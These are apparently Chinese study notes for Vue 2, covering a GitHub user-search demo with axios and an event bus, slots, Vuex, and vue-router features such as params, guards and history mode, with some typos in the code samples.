注意:当引入的样式中涉及引入外部第三方的样式会编译出错
方式二:
将下载好的样式放在 public/css 下 ,在index.html 中使用 link 标签引入
注意:
引入时使用绝对路径:<%= BASE_URL %>
html<link rel="stylesheet" href="<%= BASE_URL %>css/bootstrap.css">
4.3.3 获取数据
接口地址:https://api.github.com/search/users?q=xxx (get)
- 在Search组件中使用 axios 发送请求获取数据:
Search.vue
import axios from "axios";
....
methods: {
searchUsers() {
axios
.get(`https://api.github.com/search/users?q=${this.keyWord}`)
.then((res) => {
console.log(res.data.items);
})
.catch((err) => {
console.error(err.message);
});
},
},- 使用全局事件总线将数据从 Search组件 传递到 List组件,在List组件中接收数据,并动态渲染页面。
main.js (安装全局事件总线)
new Vue({
el: "#app",
render: (h) => h(App),
// 安装全局事件总线
beforeCreate() {
Vue.prototype.$bus = this;
},
});List.vue (为全局事件总线绑定自定义事件)
methods: {
getUsers(data,..){
this.users = data;
}
},
mounted() {
// 为全局事件总线绑定自定义事件,获取数据
this.$bus.$on("getUsers",this.getUsers)
},Search.vue (触发自定义事件)
this.$bus.$emit("getUsers", res.data.items,..)4.3.4 页面效果完善
在初次访问页面时显示:欢迎使用
搜索时显示:正在搜索
搜索成功:显示数据
搜索失败显示:错误信息
通过设置 isFirst isLoading errMsg users 四个属性来控制显示的信息,在点下按钮、请求成功发送、请求失败,时通过触发全局事件总线上绑定的自定义事件传递参数来改变显示。
List.vue
<template>
<div class="row">
<!-- 展示用户列表 -->
<div
v-show="info.users.length"
class="card"
v-for="user of info.users"
:key="user.id"
>
<a :href="user.html_url" target="_blank">
<img :src="" data-missing="user.avatar_url" style="width: 100px" />
</a>
<p class="card-text">{{ user.login }}</p>
</div>
<!-- 展示欢迎词 -->
<h1 v-show="info.isFirst">欢迎使用GitHub搜索!</h1>
<!-- 展示加载中 -->
<h1 v-show="info.isLoading">正在努力搜索中.....</h1>
<!-- 展示错误信息 -->
<h1 v-show="info.errMsg">哎呀,出错了 {{ info.errMsg }}</h1>
</div>
</template>
<script>
export default {
name: "List",
data() {
return {
info: {
isFirst: true, // 是否是第一次搜索
isLoading: false, // 是否正在加载
errMsg: "", // 错误信息
users: [], // 返回的用户数据
},
};
},
methods: {
updateListDate(dataObj) {
// 注意:不能直接修改 this.data(无)和 this._data(内有getter,setter方法)
// 将数据包裹在一个info对象中,修改this.info对象,调用了info的setter方法
this.info = { ...this.info, ...dataObj };
// ES6语法 扩展运算符,对象合并(使isFirst不丢失,在触发自定义事件时未传递该参数)
console.log(this);
},
},
mounted() {
// 为全局事件总线绑定自定义事件,获取数据,并获取当前展示状态
this.$bus.$on("updateListDate", this.updateListDate);
},Search.vue
searchUsers() {
// 请求前更新List的数据
this.$bus.$emit("updateListDate", {
isFirst: false,
isLoading: true,
errMsg: "",
users: [],
});
axios
.get(`https://api.github.com/search/users?q=${this.keyWord}`)
.then((res) => {
// 请求成功后更新List的数据
this.$bus.$emit("updateListDate", {
isLoading: false,
errMsg: "",
users: res.data.items,
});
})
.catch((err) => {
console.error(err.message);
// 请求失败后更新List的数据
this.$bus.$emit("updateListDate", {
isLoading: false,
errMsg: err.message,
users: [],
});
});
},4.3.5 添加过渡动画
使用 animate.css 列表信息的显示和隐藏添加过渡动画
安装 animate.css
npm i animate.css导入animate.css
jsimport 'animate.css';使用
<transition-group>包裹要过渡动画的标签并添加属性vue<transition-group appear name="animate__animated animate__bounce" enter-active-class="animate__bounceIn" leave-active-class="animate__backOutRight" > ... ... <!-- 展示欢迎词 --> <h1 v-show="info.isFirst" key="2">欢迎使用GitHub搜索!</h1> ..... </transition-group>为每个应用过渡动画的子标签添加 key 属性
注意:有多个元素需要动画时使用
<transition-group>标签,且为每个子元素添加 key 值
4.4 slot 插槽
4.4.1 作用
让父组件可以向子组件指定位置插入 html结构,也是一种组件间通信的方式,适用于 父组件 ==> 子组件
4.4.2 分类
默认插槽、具名插槽、作用域插槽
4.4.3 理解
父组件向子组件传递带数据的标签,当一个组件有不确定的结构时, 就需要使用slot 技术,注意:插槽内容是在父组件中编译后, 再传递给子组件的(样式需要写在父组件中)。
在父组件中的子组件标签内写一段 html 代码父组件将 html 代码编译好后放在子组件内指定的位置
4.4.4 使用方式
默认插槽
父组件中:(组件标签必须使用双标签)
html<Category> <div> html结构1 </div> </Category>子组件中:(使用slot标签指定html结构的位置)
html<template> <div> <!-- 定义插槽 --> <slot>插槽默认内容,没人使用的时候我会显示</slot> </div> </template>具名插槽
理解:为每个插槽指定一个name属性用来区分不同的插槽
父组件中:(使用 slot 或 v-slot 指定要使用的插槽)
html<Category> <template slot="center"> <div> html结构1 </div> </template> <template v-slot:footer> html结构2 </template> </Category>子组件中:(为 slot 标签添加 name 属性定义不同插槽)
html<template> <div> <!-- 定义插槽 --> <slot name="center"></slot> <slot name="footer"></slot> </div> </template>作用域插槽:
理解:数据在子组件中,但结构需要根据数据在父组件中生成。(即数据在子组件中,父组件使用插槽生成的结构需要子组件中的数据),使用 slot 标签为插槽使用者传递数据
父组件中:(通过 scope 或 slot-scpe 接收子组件传递的数据)
vue<Category title="游戏"> <template scope="atguigu"> {{ atguigu }} <!-- 接收到的内容为一个对象 { "games": [ "LOL", "王者荣耀", "DNF", "绝地求生" ], "hello": "slot" } --> <ol> <li v-for="(item, index) of atguigu.games" :key="index"> {{ item }} </li> </ol> </template> </Category> <Category title="游戏"> <template slot-scope="{ games, hello }"> <!-- 使用 template 标签 并添加 slot-scope=""2.5+ 或 scope=""属性 接收组件<slot>标签中传递的数据 为对象格式,可以使用结构赋值--> <ul> <li v-for="(item, index) of games" :key="index">{{ item }}</li> </ul> <h4>{{ hello }}</h4> </template> </Category>tips:scope 接收到的为一个对象形式的数据,可以使用解构赋值的方式获取内部的每个属性
子组件中:(在 slot 标签中为父组件传递数据)
vue<template> <div class="catgory"> <!-- 为 slot 传递数据 将数据传递给插槽的使用者 可以传递多个数据--> <slot :games="games" hello="slot">我是默认内容</slot> </div> </template> <script> export default { name: "Category", props: ["title"], data() { return { games: ["LOL", "王者荣耀", "DNF", "绝地求生"], }; }, }; </script>
注意:
组件标签必须使用双标签
slot 标签的内容在插槽没被使用时展示
v-slot:"xx" 绑定插槽name值 必须配合 template 标签使用
slot="" 可以在任何标签中使用
slot-scop 和 scop 两者用法相同且可以在任何标签中使用
在使用插槽的父组件中最好使用 template 标签在最外层进行包裹(template标签不会被解析)
4.5 Vuex
4.5.1 概念
是Vue中集中式状态(数据)管理的一个 Vue插件,对vue应用中多个组件的共享状态(数据)进行集中式管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信。
4.5.2 使用场景
多个组件需要共享数据时
4.5.3 多组件共享数据,全局事件总线和vuex对比
- 多组件共享数据——全局事件总线实现:

- 多组件共享数据——vuex实现:

4.5.4 Vuex 工作原理图


Vuex由:Actions、Mutations,State三者组成
Actions、Mutations、State为对象类型,三者都在 store 的管理下
4.5.5 搭建Vuex环境
- 安装
vue2中,要用vuex的3版本 npm i vuex@3
vue3中,要用vuex的4版本 npm i vuex
- 创建文件:src/store/index.js
// 引入 Vue 核心库
import Vue from 'vue'
// 引入 Vuex 插件
import Vuex from 'vuex'
// 使用 Vuex 插件
Vue.use(Vuex)
// 准备 actions 对象 ———— 用于响应组件中用户的动作 dispath
const actions = {}
// 准备 Mutations 对象 ———— 修改state中的数据 commit
const mutations = {}
// 准备 state 对象 ———— 保存具体的数据/状态
const state = {}
// 创建并暴露 store
export default new Vuex.Store({
actions,
mutations,
state
})- 在
main.js中创建 vm 时传入store配置项
....
// 引入 store
import store from './store/index'
....
// 创建 vm
new Vue({
el:'#app',
render:h => h(app),
store
})此时在所有的 vm/vc 身上就存在了一个 $store
注意:要先执行 Vue.use(Vuex) 再引入 store,Vue脚手架会将所有的 import 语句自动提升先执行,因此在创建 store 的代码中 先引入 Vue 和 Vuex 执行 Vue.use(Vuex) 后再创建 store
4.5.6 基本使用
- 在
store/index.js中 初始化state中的数据、配置actions、配置mutations
// 该文件用于创建 Vuex 中最为核心的store
// 引入 vue 用于使用Vuex
import Vue from "vue";
// 引入Vuex
import Vuex from "vuex";
// 使用 Vuex 插件
Vue.use(Vuex);
// 准备 actions --- 用于响应组件中的动作
const actions = {
// 在actions中的逻辑代码可以实现多组件复用
jia(context, value) { // value为调用this.$store.dispath()时传递的数据
// 调用mutations中的JIA方法
context.commit("JIA", value);
// context内部有dispath,commit,state....
},
jiaOdd(context, value) {
console.log("处理了一些逻辑———jiaOdd");
// 可以通过context继续调用dispatch触发其他action处理较为复杂的业务逻辑
context.dispatch("demo1", value);
},
demo1(context, value) {
console.log("处理了一些逻辑———demo2");
if (context.state.sum % 2) {
context.commit("JIA", value);
}
},
};
// 准备 mutations --- 用于操作数据(state)
const mutations = {
// 方法名一般全大写
JIA(state, value) {
console.log("mutations中的JIA被调用了", state, value);
state.sum += value;
},
};
// 准备 state --- 用于存储数据
const state = {
sum: 0, // 当前的求和
};
// 创建并暴露 store
export default new Vuex.Store({
actions,
mutations,
state,
});Count.vue
methods: {
increment() {
// dispath("jia",this.n) 调用actions中的jia方法并传递参参数 this.n
// this.$store.dispatch("jia", this.n);
// 在actions中无业务逻辑可以直接commit调用mutations中的方法
this.$store.commit("JIA", this.n);
},
incrementOdd() {
this.$store.dispatch("jiaOdd", this.n);
},
},- 在组件中读取 Vuex 中的数据:
{{ $store.state.sum }}- 组件中修改 Vuex 中的数据:
// 需要在 actions 中进行一些业务逻辑
this.$store.dispatch("actions中的方法名",数据);
// 没有网络请求或其它业务逻辑,组件中可以越过actios 直接调用 commit
this.$store.commit("mutations中的方法",数据)tips:
一般将逻辑写在
actions中,可以在多个组件中使用,提高复用率。若没有网络请求或其他业务逻辑,组件中也可以越过
actions,即不写dispatch,直接编写commitVuex 开发者工具只监测
mutations中发生的变化,所有对 state 中数据的操作一般放在 mutations 中注意:
actions中不对数据进行修改,在mutations中才对state中的数据进行修改
4.5.7 getters 的使用
概念:当 state 中的数据需要经过加工后再使用时,可以使用 getters 进行加工,相当于computed
在
store/index.js中追加getters配置,并在 store 中配置
....
const state = {
sum: 0, // 当前的求和
};
// 准备 getters --- 用于将state中的数据进行加工
const getters = {
bigSum(state) { // 参数固定为state
return state.sum * 10;
},
};
// 创建并暴露 store
export default new Vuex.Store({
....
getters,
});- 在组件中读取数据:
<h3>当前求和放大10倍为:{{ $store.getters.bigSum }}</h3>tips:
getters 的用法和作用类似于 computed 但 getters 内对state加工后的数据可以在任何组件中访问到
4.5.8 四个map方法的使用
mapState、mapGetters作用:将
$store.state.xx和$store.getters.xx生成计算属性,为了简化在插值语法中读取state中的属性()
1.mapState:
用于帮助我们映射 state 中的数据为计算属性
使用:
- 对象写法:
...mapState({ 计算属性名:"state中的属性名", ...}) - 数组写法:
...mapState(["state中的属性名",...])适用于计算属性和state中的属性名相同时
// 引入 mapState
import { mapState } from 'vuex';
computed:{
// 借助 mpaState 生成计算属性:scum、school、subject
// 返回值为一个包含多个计算属性对象需要使用扩展运算符... 进行展开
// 1.对象写法
...mapState({ sum:"sum", school:"school", subject:"subject" }),
// 注意:此处不能使用对象的简写方式"sum"为字符串非变量名
// 2.数组写法
...mapState(["sum","school","object"]
}2.mapGetters方法:
用于帮助我们映射 getters 中的数据为计算属性
使用:
- 对象写法:
...mapGetters({计算属性名:"getters中的属性名",...}) - 数组写法:
...mapGetters(["getters中的属性名",...])适用于计算属性名和getters中的属性名相同时
// 引入 mapGetters
import { mpaGtters } from 'vuex';
computed:{
// 借助 mapGetters生成计算属性:bigSum
// 1.对象写法
...mapGetters({bigSum:"bigSum"})
// 2.数组写法
...mapGetters(["bigSum"])
}tips:两种写法的区别
对象写法
mapxxx({ 计算属性名:"xxx中的属性名" , ......})
适用于计算属性名和xxx中的属性名不同
数组写法
mapxxx(["xxx中的属性名"])
适用于计算属性名和xxx中的属性名相同
3.mapActions方法:
用于帮助我们生成与 actions 对应的方法,即:包含 $store.dispath(xxx) 的函数
使用:
- 对象写法:
...mapActions({方法名:'actions中的方法名',....}) - 数组写法:
...mapActions(["actions中的方法名",...])适用于方法名actions中的函数相同
// 引入mapActions
import { mapActions } from 'vuex'
methods:{
// 使用 mapActions生成对应的方法,方法中会调用dispatch方法去联系actions中的方法
// 1.对象写法
...mapActions({ incrementOdd:"jiaOdd", incrementWait:"jiaWait"}),
// 2.数组写法 (当方法名和actions中的方法名相同时)
...mapActions(["jiaOdd","jiaWait"])
//注意传递参数需要在模板中绑定事件时传递
}
// 不使用mapActions生成写法:
methods:{
incrementOdd() {
this.$store.dispatch("jiaOdd", this.n);
},
incrementWait() {
this.$store.dispatch("jiaWait", this.n);
}
}4.mapMutations方法:
用于帮助我们生成与 mutations 对话的方法,即:包含 $store.commit(xxx) 的函数
使用:
- 对象写法:
...mapMutations({方法名:"mutations中的方法名"}) - 数组写法:
...mapMutations(["mutations中的方法名"])适用于方法名和mutations中的 - 方法名相同时
import { mapMutations } from 'vuex'
methods:{
// 使用 mapMutations 生成对应的方法,方法中会调用 commit 方法去联系mutations中的方法
// 1.对象写法
...mapMutations({increment:"JIA",decrement:"JIAN"})
// 2.数组写法(方法名和mutations中的方法名相同时)
...mapMuations(["JIA","JIAN"])
}
// 不使用 mapMutations 生成方法
increment(){
this.$store.commit("JIA",this.n)
},
decrement(){
this.$store.commit("JIAN",this.n)
}注意:mapActions 和 mapMutations 使用时,若需要传递参数时,需要在模板中绑定事件时传递参数,否则参数是事件对象。
4.5.9 多组件共享数据
- 将需要共享的数据配置到 vuex 的 state 中
- 在需要使用数据的组件中通过 mapState/mapGetters或$store.state.xx/$store.getters.xx 去获取共享的数据
- 使用 this.$store.dispath()/this.$store.commit() 或 mapActions/mapMutations 去修改共享的数据
4.5.10 模块化+命名空间
- 目的:让代码更好维护,让多种数据分类更加明确
- 修改store/index.js
...
// 引入求和相关的配置
import countOptions from "./count";
// 引入人员管理相关的配置
import personOptions from "./person";
// 创建并暴露 store
export default new Vuex.Store({
// 模块化
modules: {
countAbout: countOptions,
personAbout: personOptions,
},
});- 配置 store/count.js 求和相关的配置
export default{
namespaced:true,
// 开启命名空间 才能使用 ...mapState("countAbout",["sum", "school","subject"]),
// 响应组件中的动作并进行逻辑处理
actions:{...},
// 操作state中的数据
mutations:{...},
// 存储组件间共享的数据
state:{...},
// 用于将state中的数据进行加工
getters:{...}
}- 配置 store/perosn.js 人员管理相关配置
export default{
// 开启命名空间 才能使用 ...mapState("personAbout",["xx",...]),
namespaced:true,
// 响应组件中的动作并进行逻辑处理
actions:{...},
// 操作state中的数据
mutations:{...},
// 存储组件间共享的数据
state:{...},
// 用于将state中的数据进行加工
getters:{...}
}- 开启命名空间后,组件中读取 state 数据:
// 方式一:自己直接读取
this.$store.state.personAbout.xxx
// 方式二:借助 mapState 读取:
...mapState("countAbout",["xx","xx",...])- 开启命名空间后,组件中读取 getters 数据:
// 方式一:自己读取
this.$store.getters["personAbout/xxx"]
// 方式二:借助 mapStter 读取
...mapSetter("countAbout",["xx",...])- 开启命名空间后,组件中调用 diapath
// 方式一:自己直接 dispatch
this.$store.dispath("personAbout/xxx",data)
// 方式二:借助 mapActions
...mapActions("countAbout",{incrementOdd:"jiaOdd",...})- 开启命名空间后,组件中调用 commit
// 方式一:自己直接 commit
this.$store.commit("personAbout/ADD_PERSON",person)
// 方式二:借助 mapMutations
...mapMutations("countAbout",{increment:'JIA',decrement:'JIAN'})4.6 路由(vue-router)
4.6.1 路由的理解
作用:vue 的一个插件库,专门用来实现 SPA 应用
理解:一个路由(route)就是一组映射关系(key-value ),多个路由,需要经过路由器(router)进行管理
前端路由:key是路径(/path),value是组件
4.6.2 SPA应用
- 单页面应用(single page application,SPA)
- 整个应用只有一个完整的页面(index.html)。
- 点击页面中的导航链接不会刷新页面,只会做页面的局部更新。
- 数据需要通过 ajax 请求获取。
4.6.3 路由分类
后端路由:
1)理解:value 是 function, 用于处理客户端提交的请求。
2)工作过程:服务器接收到一个请求时, 根据请求路径找到匹配的函数来处理请求, 返回响应数据。
前端路由:
1)理解:value 是 component,用于展示页面内容。
2)工作过程:当浏览器的路径改变时, 对应的组件就会显示。
4.6.4 基本使用
安装 vue-router
Vue2:npm i vue-router@3
Vue3:npm i vue-router
编写路由配置项 src/router/index
// 该文件专门用于创建整个应用的路由器
import VueRouter from "vue-router";
// 引入路由组件
import About from "../components/About";
import Home from "../components/Home";
// 创建并暴露一个路由器
export default new VueRouter({
routes: [ // 路由配置
{
path: "/about", // 当路由为/about时
component: About, // 展示About组件
},
{
path: "/home",
component: Home,
},
],
});- 在main.js引入并应用路由插件,并配置路由器
....
// 引入 vue-router
import VueRouter from "vue-router";
// 引入路由器
import router from './router/index'
// 应用 VueRouter 插件
Vue.use(VueRouter);
new Vue({
.....
// 配置router配置项
router: router,
});实现路由切换
使用
<router-link to='/xxx'></router-link>标签,并使用 to 属性指定路由
<!-- Vue中借助 router-link 标签实现路由的切换 -->
<router-link class="list-group-item" active-class="active" to="/about"
>About</router-link
>
<router-link class="list-group-item" active-class="active" to="/home"
>Home</router-link
>router-link 标签会自动转换为 a 标签
active-class :设置标签被激活时的样式类名
- 指定展示路由组件的位置
<router-view></router-view>4.6.5 使用路由注意点
- 路由组件通常存放在
pages/views文件夹,公共组件一般存放在components文件夹 - 通过切换,"隐藏"了的路由组件,默认是被销毁的,展示的时候再重新挂载,想要被缓存可以使用
keep-alive组件 - 每个路由组件都有自己的
$route属性,里面存储着自己的路由信息,不同路由组件的$route属性互不相同 - 每个应用只有一个router,可以通过路由组件的
$router属性获取,不同路由组件的$router属性是相同的
4.6.6 嵌套(多级)路由
- 在一级路由下配置二级路由,使用
children配置项:
export defalut new VueRouter({
routes:[
// 一级路由
{
path:"/home",
component:About,
// 二级路由 通过children进行配置
children:[
{
path:"news", // 二级路由path不以/开头
component:News, // 路由组件 需要先进行引入
},
{
path:"message",
component:Message
}
]
},
]
})注意:二级路由path不以/开头
- 路由跳转(要写完整路径):
<router-link to="/home/news">news</router-link>- 指定路由组件展示位置:
<router-view></router-view>4.6.7 路由的query传参
形式:path?a=xx&b=xxx
作用:向路由组件中传递参数
- 跳转路由并携带query参数
<!-- 1.to的字符串写法 v-bind+模板字符串 -->
<router-link :to="`/home/message/detail?id=${item.id}&title=${item.title}`">
{{ item.title }}</router-link>
<!-- 2.to的对象写法 将path和query分开 -->
<router-link
:to="{
path:'/home/message/detail',
query:{
id:item.id,
title:item.title,
}
}"
>跳转</router-link>推荐使用 to的对象写法
- 在路由组件中接收参数:
$route.query.id
$route.query.title4.6.8 命名路由
作用:可以简化路由的跳转,一般用在多级路由
使用:
- 给路由命名:添加一个name属性
export default new VueRouter({
routes:[
{
path:"/home",
component:Home,
children:[
{
path:"message",
component:Message,
children:[
name:"det", // 给路由命名
path:"detail",
component:Detail
]
}
]
}
]
})- 简化跳转
<!-- 简化前,需要写完整路径 -->
<router-link to="/home/message/detail">跳转</router-link>
<!-- 简化后,直接通过名字跳转 -->
<router-link :to="{name:'det'}">跳转</router-link>
<!-- 简化写法配合传递query参数 -->
<router-link
:to="{
name:'det',
query:{
id:'666',
title:'你好'
}
}"
>跳转</router-link>注意:如果想在 router-link 中使用命名路由,需要将to写成对象写法
:to="{name:'det'}"
4.6.9 路由的params参数
params参数形式:
传递:/path/param1/param2
接收:path/:id/:title
使用:
- 配置路由,声明接收params参数
export default new VueRouter({
routes:[
{
path:"/home",
component:Home,
children:[
{
path:"message",
coponent:Message,
children:[
{
name:"xiangqing",
path:"detail/:id/:title",// 使用占位符声明接收params参数
component:Detail
}
]
}
]
}
]
})- 跳转路由并传递params参数
<!-- to的字符串写法 -->
<router-link :to="`/home/message/detail/${item.id}/${item.title}`">
跳转</router-link>
<!-- to的对象写法 -->
<router-link
:to="{
name:"xiangqing", // 传递params参数to为对象形式时必须使用name配置
params:{
id:item.id,
title:item.title
}
}"
>跳转</router-link>注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置
- 接受参数
$route.params.id
$route.params.title4.6.10 路由的props配置
作用:让路由组件更方便收到 query/params 参数(即简写 $route.query/params.xx)
- 在 src/router/index.js 的路由配置中添加props配置
{
name:"xiangqing", // 命名路由
path:"detail/:id/:title",
component:Detail,
//第一种写法:props值为对象,该对象中的所有key-value都会以props的形式传递给Detail组件
props:{ a: 1, b: "hello" }, // 只能传递固定的数据
//第二种写法:props值为布尔值,若布尔值为真就会把该路由接收到的所有params参数以props形式传递给Detail组件
props:true, // 只能传递params参数
//第三种写法:props值为函数,且参数可以接收到$route,返回值以props形式传递给Detail组件
props($route){
return{
// 将params参数以props形式传递
id:$route.params.id,
title:$route.params.title
// 将query参数以props形式传递
//id:$route.query.id,
//title:$route.query.title //可以传递params/query参数
}
}
}- 在路由组件中接收props传递的数据
props:["id","title"]tips:
若使用的是params参数传递的数据,使用
props:true布尔值写法最为简便(但只能传递params参数)若使用的是query参数传递数据,应使用函数写法
4.6.11 router-link的replace属性
- 作用:控制路由跳转时操作浏览器历史记录的模式
- 浏览器的历史记录有两种写入方式:分别为
push和replace,push是追加历史记录,replace是替换当前记录。路由跳转时默认为push - 若何开启
replace模式:
<router-link replace to='xx'>News</router-link>replace:替换掉上一次记录为本次记录
push:将本次记录放入浏览器的历史记录栈顶(默认)
4.6.12 编程式路由导航
作用:不借助 router-link 标签实现路由跳转(router-link标签最终会转换为 a 标签),而是为指定的标签绑定回调事件,在回调函数中实现路由的跳转
核心API:
this.$router.push({option})(以push的方式跳转路由,option与to的对象形式相同)
this.$router.replace({option})(以replace的方式跳转路由 )
this.$router.back()(浏览器历史路由倒退一步)
this.$router.forward()(浏览器历史路由前进一步)
this.$router.go(n)(浏览器历史路由前进或后退n步)
全局使用了路由插件并在创建Vue时传入了router配置,在所有的组件中都有了 $router和$route 属性
<!-- 使用按钮标签实现路由跳转 -->
<button @click="pushShow(item)">push查看</button>
<button @click="replaceShow(item)">replace查看</button>
<router-view></router-view>
<script>
methods:{
pushShow(item){
// 以push的形式跳转路由
this.$router.push({
name:"xiangqing",
pararms:{
id:item.id,
title:item.title
}
})
},
replaceShow(item){
// 以replace的形式跳转路由
this.$router.replace({
name:"xiangqing",
params:{
id:item.id,
title:item.title
}
})
}
}
this.$router.back(); // 路由后退
this.$router.forward(); // 路由前进
this.$router.go(-2); // 路由后退2步
this.$router.go(n); // 路由前进2步
</script>4.6.13 缓存路由组件
作用:让不展示的路由组件保持挂载,不被销毁(默认当路由组件不展示时会被销毁,下次展示重新进行挂载)
用法:(使用 keep-alive 标签包裹 router-view 标签,并使用 include 指定缓存组件名)
<keep-alive :include="['News','Message']">
<router-view></router-view>
</keep-alive>注意:要在展示组件的 router-view 标签外包裹 keep-alive 标签,并使用
inclue指定要缓存的组件名,不写include默认缓存router-view展示的全部组件tips:当前路由的上一级路由切换时,将会销毁当前一级路由的全部组件,包括缓存组件
4.6.14 两个全新的生命周期钩子
作用:路由组件独有的的两个生命周期钩子,用于捕获路由组件的激活状态
具体名字:
activated路由组件被激活(展示)时触发deactivated路由组件失活(不展示)时触发
<!-- 当前路由组件被激活时调用 -->
activated(){
<!-- 在路由组件被激活时开启定时器 -->
this.timer = setInterval(()=>{});
}
<!-- 在路由组件失活时调用 -->
deactivated(){
clearInterval(this.timer);
}activated,deactivated 与 mounted,beforeDestroy 的区别:
activated,deactivated :是在路由组件展示与隐藏时被触发,不影响路由的缓存
mounted,beforeDestroy:是在路由组件挂载和销毁时被触发,当路由组件被缓存了隐藏时就不会被销毁
4.6.15 路由守卫
作用:对路由进行权限控制(cookie,session,token)
分类:全局守卫,独享守卫,组件内守卫
- 全局守卫
- 全局前置守卫
router.beforeEach(callback):在初始化,每一次路由切换前被调用 - 全局后置守卫
router.afterEach(callback):在初始化,每一次路由切换后被调用
- 全局前置守卫
src/router/index.js
const router = new VueRouter({
routes:[
...
{
name:"details",
path:"detail",
component:"Detail",
meta:{ // 保存一些自定义数据
isAuth:true, // 是否需要进行权限校验
title:"详情", // 路由标题
}
}
...
]
});
// 1.前置路由守卫
router.beforeEach((to,from,next)=>{
// to:要跳转路由的信息,from存储当前路由信息
if(to.meta.isAuth){ // 判断是否需要进行权限校验
if(localStorage.getItem("school") === "atguigu"){ // 从浏览器本地存储获取数据进行判断
next(); // 校验成功再进行路由跳转
}else{
alert("用户校验失败")
}
}else{
next();
}
})
// 2.全局后置路由守卫
router.afterEach((to,from)=>{
// 当路由切换成功后再执行
document.title = to.meta.title || "Vue"; // 设置页面标题
})
export default router;独享路由守卫
beforeEnter某一个路由所独享的路由守卫
作用:在进入该路由前调用
....
{
name:"xinwen",
path:"news",
component:News,
meta:{
isAuth:true,title:"新闻"
},
// 独享路由守卫
beforeEnter((to,from,next)=>{
if(loaclStorage.getItem("school")===" atguigu")
next()
})else{
alert('校验失败');
}
}
....独享路由守卫只有前置路由守卫,无后置路由守卫,可以配合全局路由守卫进行使用
- 组件内路由守卫
- 进入守卫
beforeRouteEnter:通过路由规则进入该组件时被调用 - 离开守卫
beforeRouteLeave:通过路由规则离开该组件时被调用
- 进入守卫
// 进入守卫
beforeRouterEnter(to,from,next){
....
next();
}
// 离开守卫
beforeRouterLeave(to,from,next){
.....
next();
}4.6.16 路由器的两种工作模式
路由器的两种工作模式:hash模式,history模式
对于一个 URL 来说,什么是 hash 值?
#及其后面的内容就是 hash 值hash值不会包含在 HTTP 请求中,即:hash值不会带给服务器
hash模式(默认):
- 地址中永远带着
#号,不美观 - 若以后将地址通过第三方手机 app 分享,若 app 校验严格,则地址会被标记为不合法
- 兼容性较好
- 地址中永远带着
history模式(常用):
- 地址干净,美观
- 兼容性和hash模式相比略差
- 应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题
修改路由器的工作模式
jsexport default new VueRouter({ // mode:"hash", // 默认路由器工作模式为 hash 地址中有 # mode:"history",// 更改路由器的工作模式为history ... })
tips:简单项目部署
- npm run build 打包代码(生成包含html,css,js..的dist文件夹)
- 使用 nodejs +express (创建项目)搭建服务器 将打包生成的资源放在项目的静态资源目录下
使用 history 模式项目部署时出现的问题,由于地址栏中出现了前端的路由,浏览器刷新时向后端发送请求携带前端的路由返回404,需要后端工程师进行处理(nodejs可以使用 connect-history-api-fallback 中间件进行解决
4.7 Vue UI 组件库
4.7.1 移动端常用的 UI 组件库
- Vant https://youzan.github.io/vant
- Cube UI https://didi.github.io/cube-ui
- Mint UI http://mint-ui.github.io
- NutUI https://nutui.jd.com
4.7.2 PC 端常用的 UI 组件库
- Element UI https://element.eleme.cn
- IView UI https://www.iviewui.com
- Ant-Design https://www.antdv.com/docs/vue/introduce-cn/
tips:
根据官方说明文档进行使用